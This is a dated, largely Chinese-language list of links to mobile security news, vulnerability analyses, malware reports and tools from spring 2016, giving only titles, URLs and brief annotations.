- 3.31 [Metaphor-A Real Life Stagefright Exploit](http://www.droidsec.cn/metaphor-a-real-life-stagefright-exploit/)
- 3.31 [App环境分离的实现:Android篇](http://keeganlee.me/post/architecture/20160329)
- 3.31 [APK瘦身记,如何实现高达53%的压缩效果](http://www.freebuf.com/articles/security-management/100433.html)
- 3.31 [iOS开发之AES+Base64数据混合加密与解密](http://allluckly.cn/aes/AES)
- 3.31 [三种经典iPhone上网络抓包方法详解](http://geek.csdn.net/news/detail/63268)
- 0x03
- 4.1 [Signal-Android - 一个开源的私有通讯工具](https://whispersystems.org/blog/reproducible-android/)
https://github.com/whispersystems/Signal-Android (Github)
- 4.1 [图说安全/指纹识别那些事儿](http://weibo.com/ttarticle/p/show?id=2309403959499403750624)
- 4.1 [Most prevalent Android ransomware in the West arrives in Japan ]( http://www.symantec.com/connect/zh-hans/blogs/most-prevalent-android-ransomware-west-arrives-japan)
- 4.1 [如何测试 CVE-2016-2402 以及类似的 Certificate Pinning 问题 ](https://koz.io/pinning-cve-2016-2402/)
- 4.1 [An Investigation Into the Use of Common Libraries in Android Apps ]( http://www.securitygossip.com/blog/2016/03/31/2016-03-31/)
- 4.1 [利用 SideStepper 漏洞,可以实现 iOS 设备和 MDM 工具之间的中间人攻击,攻击者可以向手机安装新的配置或者是 CA 根证书](http://blog.checkpoint.com/2016/03/31/sidestepper/https://threatpost.com/sidestepper-allows-for-mitm-between-ios-devices-mdm-tools/117103/)
- 4.1 [探秘国内地下数据交易市场](http://www.freebuf.com/articles/database/100459.html?utm_source=tuicool&utm_medium=referral)
- 4.2 [FBI vs Apple:FBI侥幸拿下这一局](http://weibo.com/ttarticle/p/show?id=2309403959919610039908)
- 4.2 [Having fun with secure messengers and Android Wear (and Android Auto) ](http://www.slideshare.net/CanSecWest/csw2016-chaykin-havingfunwithsecuremessengersandandroidwear)
Android 几款通讯应用、Android Wear 与 PendingIntent 相关的攻击面 ︰
- 4.4 [本月的 Android 补丁更新中修复了一个 Root 应用中使用的漏洞(CVE-2015-1805)](https://threatpost.com/google-patches-old-flaw-exploited-by-rooting-application/117161/)
对于3-20号的CVE-2015-1805的事情播报。
- 4.4 [在android市场top 15000的app程序大概有135000个潜在的漏洞](https://blog.vulners.com/hackapp-indexed-135-000-potential-vulnerabilities-in-13000-android-applications/)
- 4.4 [‘SURREPTITIOUS SHARING’ ANDROID API FLAW LEAKS DATA, PRIVATE KEYS](https://threatpost.com/surreptitious-sharing-android-api-flaw-leaks-data-private-keys/117174/)
- 4.4 [iOS 远程 Hot Patch 的利与弊(2)](https://www.fireeye.com/blog/threat-research/2016/04/rollout_or_not_the.html)
- 4.5 [Apple iOS 9.3.1 (iPhone 6S & iPhone Plus)-(3D Touch) 锁屏密码绕过漏洞](http://seclists.org/fulldisclosure/2016/Apr/19)
- 4.5 [Android 上的秘密共享 - 很多应用都会使用 Intent API 实现图片、视频、文档的共享。 这篇 Paper 谈应用在处理 file URI 时的一个安全漏洞,成功利用这个漏洞可以实现提权和数据泄露︰](https://www.ibr.cs.tu-bs.de/papers/schuermann-sicherheit2016.pdf)
- 4.5 [手机勒索软件的发展历程,The evolution of mobile ransomware](https://blog.avast.com/the-evolution-of-mobile-ransomware)
- 4.5 [在Google Play Store 的超过 100 款 Android Apps 中发现了 Android.Spy.277.origin 木马:](https://www.grahamcluley.com/2016/04/advertising-trojan-100-android-apps-google-play-store/)
- 4.5 [Android提权漏洞CVE-2014-7920、CVE-2014-7921分析](http://www.freebuf.com/vuls/100785.html)
- 4.5 [iOS 9.3.1再曝新漏洞:隐私被看光 Siri是帮凶](http://www.techweb.com.cn/world/2016-04-05/2309368.shtml)
优酷视频:http://v.youku.com/v_show/id_XMTUyMzkxOTg2MA==.html
- 4.6 [网络犯罪与暗网(Deep Web) - TrendMicro 对多个国家的分析报告 ︰](http://www.trendmicro.com/vinfo/us/security/special-report/cybercrime-and-the-deep-web/global-cybercrime-map/)
https://twitter.com/TrendMicro/status/717094398048206849/photo/1
- 4.6 [在 iOS 设备上启用串行 I/O](http://embeddedideation.com/2016/04/06/enabling-serial-io-on-ios-devices/)
- 4.6 [极客DIY:如何构建一台属于自己的基站](http://www.freebuf.com/geek/100735.html)
- 4.7 [深度揭秘:伪基站短信诈骗产业传奇始末!](http://weibo.com/ttarticle/p/show?id=2309403961671860254555)
- 4.7 [Introducing Metaphor: Another Android Stagefright exploit](http://www.welivesecurity.com/2016/04/07/introducing-metaphor-another-android-stagefright-exploit/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+eset%2Fblog+%28ESET+Blog%3A+We+Live+Security%29)
- [像老板一样自制 iOS 恶意软件](https://www.blackhat.com/docs/asia-16/materials/asia-16-Tamir-Su-A-Cyder-Homebrewing-Malware-For-iOS-Like-A-B0SS.pdf)
- 4.7 [Apple fixes iPhone passcode bypass flaw server-side, without having to push out an update1](http://www.tripwire.com/state-of-security/security-data-protection/iphone-passcode-flaw/)
- [企业 Apps - 绕过 iOS Gatekeeper](https://www.blackhat.com/docs/asia-16/materials/asia-16-Bashan-Enterprise-Apps-Bypassing-The-iOS-Gatekeeper.pdf)
- 4.8 [How Anywhere Computing Just Killed Your Phone-Based Two-Factor Authentication](https://docs.google.com/viewer?url=http%3A%2F%2Ffc16.ifca.ai%2Fpreproceedings%2F24_Konoth.pdf)
还有文章参考:http://www.few.vu.nl/~vvdveen/bandroid.html
http://www.theregister.co.uk/2016/04/08/google_android_2fa_breakable/
http://www.securityweek.com/two-factor-authentication-bypassed-simple-attacks?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Securityweek+%28SecurityWeek+RSS+Feed%29
- 4.8 [Cloud App Security - Microsoft's Very Own CASB](http://www.securityweek.com/cloud-app-security-microsofts-very-own-casb?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Securityweek+%28SecurityWeek+RSS+Feed%29)
- 4.8 [Qihoo 360: Just the Tip of the Whitelisted Malware Iceberg ](http://blog.checkpoint.com/2016/04/08/qihoo-360-just-the-tip-of-the-whitelisted-malware-iceberg/)
- 4.8 [Android 蓝牙配对身份认证绕过漏洞(CVE-2016-0850)](https://labs.mwrinfosecurity.com/advisories/bluetooth-pairing-authentication-bypass/)
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-android-bluetooth-pairing-bypass-2016-04-08.pdf
- 4.8 [The Latest Intelligence for March 2016 reveals that the average number of mobile malware variants has reached 50 per family. ](http://www.symantec.com/connect/blogs/latest-intelligence-march-2016)
- 4.8 [破不了加密算法,那就攻击客户端: iMessage 明文数据恢复](https://www.bishopfox.com/blog/2016/04/if-you-cant-break-crypto-break-the-client-recovery-of-plaintext-imessage-data/)
- 4.8 [Android IMemory 接口 OOB 漏洞导致的内存读写 PoC (CVE-2016-0846)](https://github.com/secmob/CVE-2016-0846)
[该漏洞最早由 James Forshaw 发现(2016.1.29)](https://bugs.chromium.org/p/project-zero/issues/detail?id=706 )
[补充](https://www.bugscan.net/#!/x/21968)
- 4.9 [Android IOMX getConfig/getParameter 信息泄漏漏洞(CVE-2016-2417)](https://packetstormsecurity.com/files/136632)
https://bugs.chromium.org/p/project-zero/issues/detail?id=711
https://www.bugscan.net/#!/x/21969
- 4.9 [“Evil Skype” Malware Kit “Su-A-Cyder” Lets Attacker Spy on Apple Devices](https://www.hackread.com/evil-skype-malware-kit-spy-on-apple-devices/)
- 4.9 [All Your Browsers Belong To Us, 来自 rotlogix 在 Infiltrate 会议的演讲,谈 Android 浏览器漏洞利用:](https://github.com/LifeForm-Labs/all_your_browsers_belong_to_us)
- 4.10 [漏洞之王”一年可以赚多少外快? ](http://bobao.360.cn/news/detail/2922.html)
- 4.10 [Learning from Bait and Switch Mobile Ransomware ](http://blog.trendmicro.com/trendlabs-security-intelligence/learning-from-bait-switch-mobile-ransomware/)
- 4.11 [Android users beware: Hackers are up to dirty new tricks ](http://blog.trendmicro.com/android-users-beware-hackers-are-up-to-dirty-new-tricks/)
- [Inside the Latest Apple iMessage Bug ](https://threatpost.com/inside-the-latest-apple-imessage-bug/117337/)
- 4.11 [New post: Mobile Devices Used to Execute DNS Malware Against Home Routers ](http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-devices-used-to-execute-dns-malware-against-home-routers/)
- 4.11 [Samsung exposes modem over USB which can be abused to enable ADB, make calls, send texts, and bypass lockscreen: ](https://github.com/ud2/advisories/tree/master/android/samsung/nocve-2016-0004)
- 4.11 [中国移动,请你告诉我,为什么一条短信就能骗走我所有的财产?](http://www.7huoxing.com/?p=25703)
- 4.11 [Mapping the Dark Web searching for illegal content](http://securityaffairs.co/wordpress/46202/deep-web/dark-web-mapping.html)
[Intelliagg 最近对 Dark Web 的调查报告 《Dark Web 里点一盏灯》](http://deeplight.intelliagg.com/deeplight.pdf)
- 4.11 [Great ransomware analysis 勒索软件的过去、现在和将来](http://blog.talosintel.com/2016/04/ransomware.html)
- 4.11 [图解CVE-2015-1805](http://huntcve.github.io/2016/04/11/cve-2015-1805/)
- 4.11 [GSM BTS Hacking: 利用BladeRF和开源BTS 5搭建基站 ](http://www.freebuf.com/geek/101166.html)
- 4.11 [New blog post: Discover the Unknown: Analyzing an IoT Device](https://www.insinuator.net/2016/04/discover-the-unknown-analyzing-an-iot-device/)
- 4.12 [新威胁,使用树梅派打造一个让你苹果自动变转的设备](http://krebsonsecurity.com/2016/04/new-threat-can-auto-brick-apple-devices/)
- 4.12 [通过BT种子传播到安卓手机的下载者 ](http://blogs.360.cn/360safe/2016/04/12/bt_android_downloader/)
- 4.12 [Android勒索软件研究报告 ](http://blogs.360.cn/360mobile/2016/04/12/analysis_of_mobile_ransomware/)
- 4.12 [黑客事件中如何实现利益最大化?](http://www.freebuf.com/news/101131.html)
- 4.12 [试着复现了一下长文被骗现场,无需原卡和伪基站,只需有被害人的移动网站密码即可](http://m.weibo.cn/1406419784/3963572352452839?sourceType=sms&from=1064095010&wm=20005_0002)
- 4.13 [趣火星之支付宝、网银盗刷事件分析 ](http://bobao.360.cn/learning/detail/2841.html)
- [赛门铁克发布 《2016 年互联网安全威胁报告》](https://www.symantec.com/security-center/threat-report)
https://twitter.com/symantec/status/719872727927164928/photo/1
- 4.13 [拨开迷雾:央视曝光“5分钟网上买到上千银行卡信息”究竟是怎么一回事?](http://www.freebuf.com/articles/terminal/101372.html)
- 4.13 [Analysis of CVE-2016-2414 - Out-of-Bound Write Denial of Service Vulnerability in Android Minikin Library ](http://blog.fortinet.com/post/analysis-of-cve-2016-2414-out-of-bound-write-denial-of-service-vulnerability-in-android-minikin-library-1)
Android Minikin 库越界写拒绝服务漏洞分析(CVE-2016-2414 ), 来自 Fortinet Blog
- 4.14 [经验分享:挖洞联盟第一季漏洞精选 ](http://www.freebuf.com/articles/web/100920.html)
- 4.14 [Malvertisements on “Fappening” forum lead to Android Ransomware ](https://blog.malwarebytes.org/cybercrime/2016/04/malvertisements-on-fappening-forum-lead-to-android-ransomware/)
- 4.14 [在 Wi-Fi 环境欺骗 NTP 服务器可以触发 iOS 的日期 Bug,使 iPhone 永久成砖](http://securityaffairs.co/wordpress/46305/hacking/ios-date-bug.html)
- 4.14 [减小ipa体积之删除frameWork中无用mach-O文件 ](http://weibo.com/ttarticle/p/show?id=2309403964209921716358)
- 4.15 [Hardening Measures in Android N Cripple System Utility and Security Applications ](https://code.google.com/p/android/issues/detail?id=205565)
- 4.15 [Beginners Guide to OSINT – Chapter 1 "OSINT(开源威胁情报)入门 第一章:](https://itgeekchronicles.co.uk/2016/04/15/beginners-guide-to-osint-chapter-1/)
- [通过 USB 与 iOS 设备通信的工具, 是个扩平台的协议库实现,支持 Windows、Linux 和 OS X](https://github.com/libimobiledevice/libirecovery)
官网: http://www.libimobiledevice.org/
- [We’ve just open-sourced some sweet iOS tools to help you easily find and fix memory leaks.](https://code.facebook.com/posts/583946315094347)
Facebook 开源了一套自动化检测 iOS 内存泄露的工具, 来自 Facebook Blog:
- [Blackhat Asia 2016 放出的iOS恶意PoC生成工具, 整合了非常非常有名的Cycript, Theos框架](https://github.com/Mi3Security/su-a-cyder)
- [Ethernet Connected Remote Wifi Sniffing Station with an ESP8266 Module ](http://phasenoise.livejournal.com/4003.html)
以太网连接的远程 WiFi Sniffer 设备(基于 ESP8266 芯片) :
[Github Repo](https://github.com/cnlohr/espthernet)
- 4.18 [How I defeated an obfuscated and anti-tamper APK with some Python and a home-made Smali emulator](https://www.evilsocket.net/2016/04/18/how-i-defeated-an-obfuscated-and-anti-tamper-apk-with-some-python-and-a-home-made-smali-emulator/)
怎样用 Python 和自制 Smali 模拟器搞定一个加混淆、防篡改的 APK︰
- 4.18 [A look inside Hacking Team's Latin American empire](https://motherboard.vice.com/read/hacking-team-illegal-latin-american-empire)
Hacking Team 的拉丁美洲帝国
- 4.18 [Neutrino Exploit Kit Analysis and Threat Indicators"SANS 发表的《 Neutrino Exploit Kit 分析白皮书》:](https://www.sans.org/reading-room/whitepapers/malicious/neutrino-exploit-kit-analysis-threat-indicators-36892 )
- 4.18 [Ransoware Discoveries一张图展示勒索软件的发现历史: ](https://twitter.com/asankhaya/status/720544480848453636/photo/1)
- 4.18 [Trojan adware hits budget Androids – and some well-known apps](http://blog.avira.com/trojan-adware-android/)
- 4.18 [Malvertisements on “Fappening” forum lead to Android Ransomware](https://blog.malwarebytes.org/cybercrime/2016/04/malvertisements-on-fappening-forum-lead-to-android-ransomware/)
- 4.18 [Booting Android: bootloaders, fastboot and boot images -Android 系统的引导过程︰ bootloaders, fastboot, boot images: ](http://www.slideshare.net/chrissimmonds/android-bootslides20)
- 4.18 [New post: “Operation C-Major” Actors Also Used Android, BlackBerry Mobile Spyware Against Targetshttps ](http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-targets/)
在针对印度的 'C-Major' 信息窃取行动中,攻击者也会通过手机端窃密,包括使用 Android 和 BlackBerry 间谍软件
- 4.19 [GSM "Hacking as Transgressive Infrastructuring": Interesting paper about #Osmocom and other GSM hacks around #CCC](http://mkorn.binaervarianz.de/pub/korn-cscw2016.pdf)
一篇关于 GSM Hacking 的 Paper: 《移动手机网络与德国混沌计算机俱乐部》:
- 4.19 [“小马激活”病毒新变种分析报告](http://drops.wooyun.org/papers/15075)
- 4.19 [你的应用是如何被替换的,App劫持病毒剖析](http://weibo.com/ttarticle/p/show?id=2309403965942798387511)
- 4.19 [果粉请注意,上威锋网当心遭遇“挂马”攻击](http://bobao.360.cn/news/detail/2950.html)
- 4.19 [黑客能够利用SS7漏洞通过你的手机号跟踪你的任何电话呼叫和移动](http://www.cnet.com/news/60-minutes-demo-hackers-track-calls-and-movements-using-just-your-phone-number/)
- 4.19 [观察8个apt组织的活动](http://www.darkreading.com/endpoint/8-active-apt-groups-to-watch/d/d-id/1325161)
- 4.19 [MULTIGRAIN – Point of Sale Attackers Make an Unhealthy Addition to the Pantry](https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html )
- 4.19 [“Operation C-Major” Actors Also Used Android, BlackBerry Mobile Spyware Against Targets](http://feedproxy.google.com/~r/Anti-MalwareBlog/~3/oxiX-SReP2A/)
- 4.19 [分享几个功能强大的私有方法,可以用于Cycript和LLDB调试](http://iosre.com/t/powerful-private-methods-for-debugging-in-cycript-lldb/3414)
- 4.20 [Multigrain" PoS Malware Exfiltrates Card Data Over DNS](http://www.securityweek.com/multigrain-pos-malware-exfiltrates-card-data-over-dns?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Securityweek+%28SecurityWeek+RSS+Feed%29 )
- 4.20 [Exposing the Cybercrime as a Business model](https://www.helpnetsecurity.com/2016/04/20/cybercrime-as-a-business-model/)
- 4.20 ["Multigrain" PoS Malware Exfiltrates Card Data Over DNS](http://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html)
- 4.20 [CVE-2016-0846分析](http://bobao.360.cn/learning/detail/2847.html)
- 4.21 [Announcing cargo-apk - cross compiling to android just got significantly easier! cargo-apk –从 Rust 交叉编译成 APK](https://users.rust-lang.org/t/announcing-cargo-apk/5501)
- [WhatsApp vs Telegram | Fortinet Blog](http://blog.fortinet.com/post/whatsapp-vs-telegram)
从安全性方面比较 WhatsApp 和 Telegram 4.15
- [Seeing a lot of traffic around an Android app deobfuscation blog post compels me to remind everyone about](https://github.com/CalebFenton/simplify)
Simplify - 通用型 Android 反混淆工具
- [Android Security Report: 29 Percent of Active Devices Not Up To Patch Levels:Google 发布 Android 安全年度报告(2015)](https://threatpost.com/android-security-report-29-percent-of-active-devices-not-up-to-patch-levels/117511/ )
报告下载:http://static.googleusercontent.com/media/source.android.com/zh-CN//security/reports/Google_Android_Security_2015_Report_Final.pdf
- [Paper "Building a Hybrid Experimental Platform for Mobile Botnet Research" Malatras & Beslay #Botconf 2015 #CybIN搭建一个混合实验平台,研究手机 Botnet,来自 2015 年的 Botconf 会议:](https://www.botconf.eu/2015/building-a-hybrid-experimental-platform-for-mobile-botnet-research/)
- 4.21 [Fix for CVE-2016-0815 Android stagefright RCE Looks exactly same bug as "DRMfright" Oct/2015](https://android.googlesource.com/platform/frameworks/av/+/5403587a74aee2fb57076528c3927851531c8afb%5E%21/#F0)
Android CVE-2016-0815 stagefright RCE 漏洞的 Patch
看起来和 2015 年 10 月的 "DRMfright" 像是同一个:https://github.com/programa-stic/security-advisories/tree/master/Android/Stagefright/CVE-2015-3873
- 4.21 [Patch for Android's CVE-2016-1621 bug. Remote Code Exec in mediaserver, looks like int sign issue parsing .MKV files](https://android.googlesource.com/platform/external/libvpx/+/04839626ed859623901ebd3a5fd483982186b59d%5E%21/#F0)
Android CVE-2016-1621 漏洞的 Patch, 看起来像是 .MKV 文件解析时的整型符号处理问题
- 4.21 [For a given Android vulnerability (i.e. #Stagefright), @ opensignal's fragmentation data is helpful to gauge risk](http://opensignal.com/reports/2015/08/android-fragmentation/)
如果想评估一个 Android 漏洞的影响, OpenSignal 公司的这些 Android 数据可以帮助你
- 4.22 [The Ghost Dragon (APT group) Ghost Dragon APT 组织,主要攻击目标为中国和俄罗斯。来自 Cylance 的分析:](https://blog.cylance.com/the-ghost-dragon)
- [Uploaded my iOS of Sauron: How iOS Tracks Everything You Do presentation from @ BSidesNOLA](https://github.com/mac4n6/Presentations/blob/master/iOS%20of%20Sauron%20-%20How%20iOS%20Tracks%20Everything%20You%20Do/iOS_of_Sauron_04162016.pdf)
iOS 是如何跟踪你做的每一件事的,来自 BSidesNOLA 会议:
- [su-a-cyder - An Home-Brewed iOS Malware PoC Generator su-a-cyder](https://github.com/Mi3Security/su-a-cyder)
iOS 恶意软件 PoC 生成器 来自会议 BlackHat Asia 2016 会议上讲过这个工具,https://www.blackhat.com/docs/asia-16/materials/asia-16-Tamir-Su-A-Cyder-Homebrewing-Malware-For-iOS-Like-A-B0SS.pdf
- 4.24 [MazarBOT Android Malware Distributed via SMS Spoofing Campaign](http://www.tripwire.com/state-of-security/featured/mazarbot-android-malware-distributed-via-sms-spoofing-campaign/)
- 4.25 [Threat of Mobile Malware Continues to Grow as ‘HummingBad’ Attacks](http://www.informationsecuritybuzz.com/study/threat-mobile-malware-continues-grow-hummingbad-attacks/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+InformationSecurityBuzz+%28Information+Security+Buzz%29)
- 4.25 [Towelroot和hackingTeam中泄露的exploit被用于投递andorid Dogspectus 恶意欺诈软件 ](https://www.bluecoat.com/security-blog/2016-04-25/android-exploit-delivers-dogspectus-ransomware)
BLUE COAT发现了一款欺诈软件,利用Towelroot和hackingTeam中泄露的exploit做静默下载和安装。
- 4.25 [ Android 百脑虫之 HOOK 技术分析, 来自 360 移动安全团队:](http://blogs.360.cn/360mobile/2016/04/25/analysis_of_bainaochong_hook/)
- 4.25 [This is a great list of threat intel resources](http://www.cyintanalysis.com/resources/ )
其中有一个 Github 项目整理了一个列表: https://github.com/hslatman/awesome-threat-intelligence
- 4.25 [Threat of Mobile Malware Continues to Grow as ‘HummingBad’ Attacks](http://www.informationsecuritybuzz.com/study/threat-mobile-malware-continues-grow-hummingbad-attacks/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+InformationSecurityBuzz+%28Information+Security+Buzz%29)
- 4.26 [RuMMS: The Latest Family of Android Malware Attacking Users in Russia Via SMS Phishing](http://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html)
- [First post in the new zero-to-TrustZone series is up! Exploring QSEE - Qualcomm's Secure Execution Environment.](http://bits-please.blogspot.jp/2016/04/exploring-qualcomms-secure-execution.html)
从 0 到 TrustZone 系列文章: 第一篇 探究高通的 SEE(安全可执行环境),来自 Bits, Please Blog:
- [The Wild: Google Can’t Close the Door on Android Malware | Check Point Blog](http://blog.checkpoint.com/2016/04/22/in-the-wild-google-cant-close-the-door-on-android-malware/)
Google 也无法关上 Android 恶意软件的大门:
- 4.27 [2015中国互联网网络安全态势综述](http://sec.chinabyte.com/486/13763486.shtml )
- 4.27 [支付宝木马安卓短信窃取者分析](http://sec.chinabyte.com/10/13763510.shtml)
- [fdfalcon FYI: we discussed precisely this bug type in our 2009 "Attacking Interoperability 攻击互操作性 - 来自 Mark Dowd 2009 年在 BlackHat 的演讲](http://hustlelabs.com/stuff/bh2009_dowd_smith_dewey.pdf)
- [AlphaBay,当前最大的黑市,本周被爆出其 API 中存在 Bug,可以泄露订单和地址信息](https://motherboard.vice.com/read/vulnerability-in-huge-dark-web-marketplace-exposes-private-messages-alphabay-reddit)
- 4.28 [2016中国伪基站短信研究报告](http://www.freebuf.com/articles/network/102944.html)
- 4.28 [地下市场上 Android 恶意攻击者之间的竞争越来越激烈, 来自 ThreatPost 的报道](https://threatpost.com/scourge-of-android-overlay-malware-on-rise/117720/)
- [上次推送的恶意欺诈软件统计列表新增了““Prevention"(防护)列](https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml)
- 4.28 [微信双开还是微信定时炸弹?- 关于非越狱iOS上微信分身高危插件ImgNaix的分析](http://drops.wooyun.org/mobile/15406)
- 4.28 [Android infostealer posing as a fake Google Chrome update](http://www.zscaler.com/blogs/research/android-infostealer-posing-fake-google-chrome-update )
- 4.29 [Linux IPC router binding any port as a control port (CVE-2016-2059)](https://www.codeaurora.org/projects/security-advisories/linux-ipc-router-binding-any-port-control-port-cve-2016-2059)
Linux IPC Router 绑定任意端口为控制端口 (CVE-2016-2059), 漏洞公告
- 0x04
- 5.3 [Crafting your way through JSON Web Tokens](https://www.notsosecure.com/crafting-way-json-web-tokens/ )
JWT 方式在保护资源时不够安全, JWT 签名所用的密钥可被穷举:
- 5.3 [Google has flipped the switch on default HTTPS support for Blogspot sites](https://threatpost.com/google-expands-default-https-to-blogspot/117812/)
Google 为 Blogspot 网站开启默认 HTTPS:
- 5.3 [GOOGLE CTF Mobile关部分writeup](https://github.com/yohanes/write-ups/tree/master/google-ctf)
- 5.3 [高通 MSM debugfs 内核任意地址写漏洞(CVE-2016-2443)](https://marcograss.github.io/security/android/cve/2016/05/03/cve-2016-2443-msm-kernel-arbitrary-write.html)
- 5.3 [高通 MSM debugfs 内核任意地址写漏洞(CVE-2016-2443)](https://marcograss.github.io/security/android/cve/2016/05/03/cve-2016-2443-msm-kernel-arbitrary-write.html)
- 5.3 [ImageMagick 的漏洞利用代码 ](http://pastebin.com/aE4sKnCg)
https://threatpost.com/cisco-patches-critical-telepresence-vulnerability/117866/
- 5.4 [Petya : the two-in-one trojan](https://securelist.com/blog/research/74609/petya-the-two-in-one-trojan/ )
- 5.4 [Malware may abuse Android’s accessibility service to bypass security enhancements](http://www.symantec.com/connect/blogs/malware-may-abuse-android-s-accessibility-service-bypass-security-enhancements)
- 5.4 [McAfee 研究团队在 GooglePlay 中发现了一种新的恶意软件 - Android/Clicker.G,其攻击的目标为俄罗斯用户 ](https://blogs.mcafee.com/mcafee-labs/android-malware-clicker-dgen-found-google-play/?utm_source=twitter&utm_campaign=Labs#sf25683765)
https://twitter.com/McAfee_Labs/status/728031980802220033/photo/1
- 5.4 [引入Bugly sdk的安卓恶意代码样本分析](http://mp.weixin.qq.com/s?__biz=MzAwMTMzMDUwNg==&mid=2650878555&idx=1&sn=dadd56012be055a9942a3761f6d0bd0a&scene=23&srcid=0504WUPzi8adIebMouYfky9h#rd)
- 5.4 [Android stagefright libavc H.264 decoder 内存越界写漏洞(CVE-2016-0842) ](https://census-labs.com/news/2016/05/04/libstagefright-ih264d-read-mmco-commands-overflow/)
- 5.4 [multiscanner:做恶意软件分析的文件分析框架 ](https://github.com/MITRECND/multiscanner/)
- [寻找恶意软件二进制代码中的相似性,方便做溯源分析](https://hal.inria.fr/hal-01263123/document)
- 5.4 [恶意软件滥用 Android Accessibility 服务,绕过安全限制 ](http://www.symantec.com/connect/blogs/malware-may-abuse-android-s-accessibility-service-bypass-security-enhancements)
- 5.4 [黑客收集了 2.72 亿的邮箱账户和密码,其中一部分来自 Gmail](https://www.theguardian.com/technology/2016/may/04/gmail-yahoo-email-password-hack-hold-security)
- 5.4 [针对OpenSSL CBC padding oracle (CVE-2016-2107)漏洞的完全分析](https://blog.cloudflare.com/yet-another-padding-oracle-in-openssl-cbc-ciphersuites/)
- 5.4 [McAfee 研究团队在 GooglePlay 中发现了一种新的恶意软件 - Android/Clicker.G,其攻击的目标为俄罗斯用户 ](https://blogs.mcafee.com/mcafee-labs/android-malware-clicker-dgen-found-google-play/?utm_source=twitter&utm_campaign=Labs#sf25683765)
https://twitter.com/McAfee_Labs/status/728031980802220033/photo/1
- 5.4 [Android stagefright libavc H.264 decoder 内存越界写漏洞(CVE-2016-0842)](https://census-labs.com/news/2016/05/04/libstagefright-ih264d-read-mmco-commands-overflow/)
- 5.4 [SS7协议:黑客如何找到你](http://resources.infosecinstitute.com/ss7-protocol-how-hackers-might-find-you/)
- [寻找恶意软件二进制代码中的相似性,方便做溯源分析](https://hal.inria.fr/hal-01263123/document)
- 5.5 [利用 Cerbero Profiler 逆向 PDF/XDP 恶意样本 ](http://cerbero-blog.com/?p=1612)
- 5.5 [CryptXXX 勒索软件用一种新的 Packer 来保护自己, 来自 Sentinelone Blog 对这个新壳的分析](https://www.sentinelone.com/blogs/sophisticated-new-packer-identified-in-cryptxxx-ransomware-sample/)
- 5.5 [Android 高通 netd 守护进程缺乏对参数的校验,存在本地提权漏洞(提权至 radio 用户权限)(CVE-2016-2060) ](https://www.fireeye.com/blog/threat-research/2016/05/exploiting_cve-2016-.html)
https://twitter.com/FireEye/status/728223675380604929/photo/1
- 5.5 [数据泄露报告的攻击签名森林](http://blog.trailofbits.com/2016/05/05/the-dbirs-forest-of-exploit-signatures/)
- 5.5 [Kaspersky 发布《2016 年第一季度威胁趋势报告》](https://securelist.com/analysis/quarterly-malware-reports/74640/it-threat-evolution-in-q1-2016/)
- 5.5 [缓解密码攻击,在云中保护身份认证 ](https://blogs.microsoft.com/cybertrust/2016/05/05/protecting-identities-in-the-cloud-mitigating-password-attacks/)
- 5.5 [利用 Cerbero Profiler 逆向 PDF/XDP 恶意样本 ](http://cerbero-blog.com/?p=1612)
- 5.5 [CryptXXX 勒索软件用一种新的 Packer 来保护自己, 来自 Sentinelone Blog 对这个新壳的分析 ](https://www.sentinelone.com/blogs/sophisticated-new-packer-identified-in-cryptxxx-ransomware-sample/)
- 5.5 [Android Banker Trojan preys on credit card information](https://blog.avast.com/android-banker-trojan-preys-on-credit-card-information )
- 5.5 [IT threat evolution in Q1 2016](https://securelist.com/analysis/quarterly-malware-reports/74640/it-threat-evolution-in-q1-2016/)
- [Android Security Bulletins](http://source.android.com/security/bulletin/index.html)
- 5.5 [Android 高通 netd 守护进程缺乏对参数的校验,存在本地提权漏洞(提权至 radio 用户权限)(CVE-2016-2060) ](https://www.fireeye.com/blog/threat-research/2016/05/exploiting_cve-2016-.html)
https://twitter.com/FireEye/status/728223675380604929/photo/1
- [CVE-2015-6639:高通安全执行环境权限提升漏洞poc](https://bits-please.blogspot.tw/2016/05/qsee-privilege-escalation-vulnerability.html )
- [Android 恶意软件检测技术与机器学习研究 Paper ](http://ecommons.udayton.edu/cgi/viewcontent.cgi?article=1015&context=maics)
- 5.6 [如何核实大规模的数据泄露事件](https://www.troyhunt.com/heres-how-i-verify-data-breaches/)
- 5.6 [iOS API与取证-有些APP使用NSURLRequest处理HTTP请求,而NSURLRequest会将数据写入缓存](https://blog.silentsignal.eu/2016/05/06/ios-http-cache-analysis-for-abusing-apis-and-forensics/3.5 Devices)
- 5.7 [在 iOS 8 系统,如果被 Patch 后的内核支持 task_for_pid0, 那可以通过 Timing Attack 在沙箱内实现越狱检测, 一个检测工具 ](https://itunes.apple.com/de/app/system-and-security-info/id1080681261?l=en&;mt=8)
- [寻找恶意二进制文件中的相似性,一个针对Regin和Qwerty的案例学习](https://hal.inria.fr/hal-01263123/document)
- 5.8 [Android APP 渗透测试的第一步 - 搭建环境、反编译、API 监控、文件系统监控、Java 调试 ](http://blog.ostorlab.co/2016/05/first-better-steps-pentesting-android.html?utm_content=buffer06ae8&utm_medium=social&utm_source=linkedin.com&utm_campaign=buffer)
- 5.9 [12000 个线上共享的 PoC 背后隐藏的信息 ](http://securityaffairs.co/wordpress/47150/hacking/poc-exploits-study.html)
- 5.9 [Viking Horde: A New Type of Android Malware on Google Play](http://blog.checkpoint.com/2016/05/09/viking-horde-a-new-type-of-android-malware-on-google-play/)
- 5.10 [极光推送(JPush SDK)存在被恶意开发者利用风险](http://www.cnnvd.org.cn/news/show/id/7164)
- 5.10 [Shodan 搜索引擎对全网匿名 VNC 服务器的统计情况](https://www.shodan.io/report/GClNJAXE?utm_content=bufferbcec0&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)
